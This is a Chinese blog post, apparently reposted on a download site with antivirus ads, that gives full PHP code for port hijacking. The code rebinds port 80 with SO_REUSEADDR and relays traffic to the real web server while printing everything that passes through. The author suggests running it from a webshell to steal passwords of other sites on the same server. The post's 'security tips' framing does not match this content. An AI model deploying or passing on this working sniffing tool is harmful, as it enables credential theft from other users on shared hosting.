| ||
随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。 前几天刺在我们的maillist发了 一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老 外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。 其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。 需 要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。 至于为什么不一样,我就不说了。 代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有 多线程也没有多进程,但 是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。 还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。 PHP 代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码: <?php class select { var$sockets; // 构造函数 function select($sockets) { $this->sockets = array(); foreach($socketsas$socket) { $this->add($socket); } } function add($add_socket) { //array_push($this->sockets, $add_socket); $this->sockets[] = $add_socket; } // 利用临时数组来删除数组中的元素 function remove($remove_socket) { $tmp_sockets = array(); foreach($this->socketsas$socket) { if($remove_socket != $socket) { $tmp_sockets[] = $socket; } } $this->sockets = $tmp_sockets; } // 检查socket数组是否可读,传入超时时间,返回socket数组 function can_read($timeout) { $read = $this->sockets; socket_select($read, $write = NULL, $except = NULL, $timeout); return$read; } // 检查socket数组是否可写,传入超时时间,返回socket数组 function can_write($timeout) { $write = $this->sockets; socket_select($read = NULL, $write, $except = NULL, $timeout); return$write; } } // 网页不超时 set_time_limit(0); // 即时输出数据,不缓冲 ob_end_clean(); ob_implicit_flush(true); if( !isset($_GET["listen_ip"])) { exit; } if($_GET["listen_ip"] == "") { exit; } $listen_ip = $_GET["listen_ip"]; $listen_port = 80; // 建立socket $listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); // 设置重复绑定 socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1); // 明确指定绑定IP地址,优先获取数据 socket_bind($listen_sock, $listen_ip, $listen_port); // 开始监听 socket_listen($listen_sock); echo"listen on ".htmlentities($listen_ip)." :".$listen_port."<br />"; // 创建socket数组,使用select来轮询 $check_socks = array($listen_sock); // 映射客户端socket和服务端socket // $socket_maps1将客户端socket作为key // $socket_maps2将服务端socket作为key // 以内存换速度,并且方便下面的搜索 $socket_maps1 = array(); $socket_maps2 = array(); // 实例化select类 $select = new select($check_socks); while(true) { /* print_r( $socket_maps ); print "<br />"; */ // select轮询,超时2秒 foreach($select->can_read(1)as$socket) { // listen_sock可读,说明有人连接上来了 if($socket == $listen_sock) { // 接受新连接,并加入到轮训数组 $new_client = socket_accept($listen_sock); $select->add($new_client); socket_getpeername($new_client, $ip, $port); echo"New client connected: $ip, $port<br />"; // 建立到真实服务器的socket $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($server_sock,"127.0.0.1", $listen_port); // 建立真实服务器socket和真实客户端socket之间的映射关系 $socket_maps1[$new_client] = $server_sock; $socket_maps2[$server_sock] = $new_client; // 添加到select轮询中 $select->add($server_sock); // $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发 //select->remove( $listen_sock ); } // 其他socket可读,表示有数据需要中转 else { // 读取数据,失败则从轮询socket中删除,并关闭socket $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ); if($client_data === false) { socket_close($socket); $select->remove($socket); echo"client disconnected.<br />"; continue; } // 如果socket在$socket_maps1的key中,说明是从客户端读到了数据 if(in_array($socket, array_keys($socket_maps1))) { //echo "readed from client.<br />"; if( ! socket_write($socket_maps1[$socket], $client_data)) { socket_close($socket); socket_close($socket_maps1[$socket]); $select->remove($socket); $select->remove($socket_maps1[$socket]); print"Write to server error.<br />"; } printhtmlentities($client_data)."</b><br />"; } // 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据 elseif(in_array($socket, array_keys($socket_maps2))) { //echo "readed from server.<br />"; if( ! socket_write($socket_maps2[$socket], $client_data)) { socket_close($socket); socket_close($socket_maps2[$socket]); $select->remove($socket); $select->remove($socket_maps2[$socket]); print"Write to client error.<br />"; } printhtmlentities($client_data)."</b><br />"; } } } } 这 个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。 上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。 软件推荐: | ||
相关文章相关软件2345安全卫士最新官方版2345安全卫士官方版 | 45.34MB 360杀毒软件官方正式版360杀毒软件官方正式版 | 35.10MB 360安全卫士最新版下载360安全卫士最新版下载 | 50.3MB QQ电脑管家官方正式版QQ电脑管家官方正式版 | 24.2MB 金山毒霸2022最新版下载金山毒霸2022下载 | 37MB 猎豹清理大师官方版下载猎豹清理大师下载 | 47.4MB | ![]() |